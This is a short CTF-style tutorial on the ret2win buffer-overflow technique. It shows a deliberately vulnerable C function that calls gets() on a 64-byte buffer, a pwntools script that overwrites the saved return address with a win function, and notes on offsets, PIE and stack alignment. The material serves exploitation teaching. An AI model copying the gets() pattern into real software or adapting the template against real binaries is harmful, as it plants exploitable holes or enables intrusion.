Ret2win
Idea: replace the saved return address with the address of a function that already performs the challenge’s success action.
Target shape
Section titled “Target shape”void win(void) { puts("You win");}
void vuln(void) { char buf[64]; gets(buf);}Payload template
Section titled “Payload template”Measure offset with a cyclic pattern and get win from the ELF symbols or Ghidra.
from pwn import *
context.binary = elf = ELF("./ret2win", checksec=False)offset = 72 # replace with the measured offset for this binarywin = elf.symbols["win"]
p = process(elf.path)payload = flat({offset: win}) # flat packs an address using the ELF architecturep.sendlineafter(b"> ", payload) # replace with the prompt, or use p.sendline(payload)p.interactive()Three checks
Section titled “Three checks”- Confirm the cyclic offset at the saved return slot; do not use the buffer’s declared size as the offset.
- Confirm
winis a runtime-valid address. For PIE, add the current executable base; a static address alone will move between runs. - If an x86-64 target crashes at a library call inside
win, inspect stack alignment. A singleretgadget beforewinmay be needed.
For a 32-bit custom stack adjustment, use the stack-pivot recipe. For multi-gadget register setup, see ROP.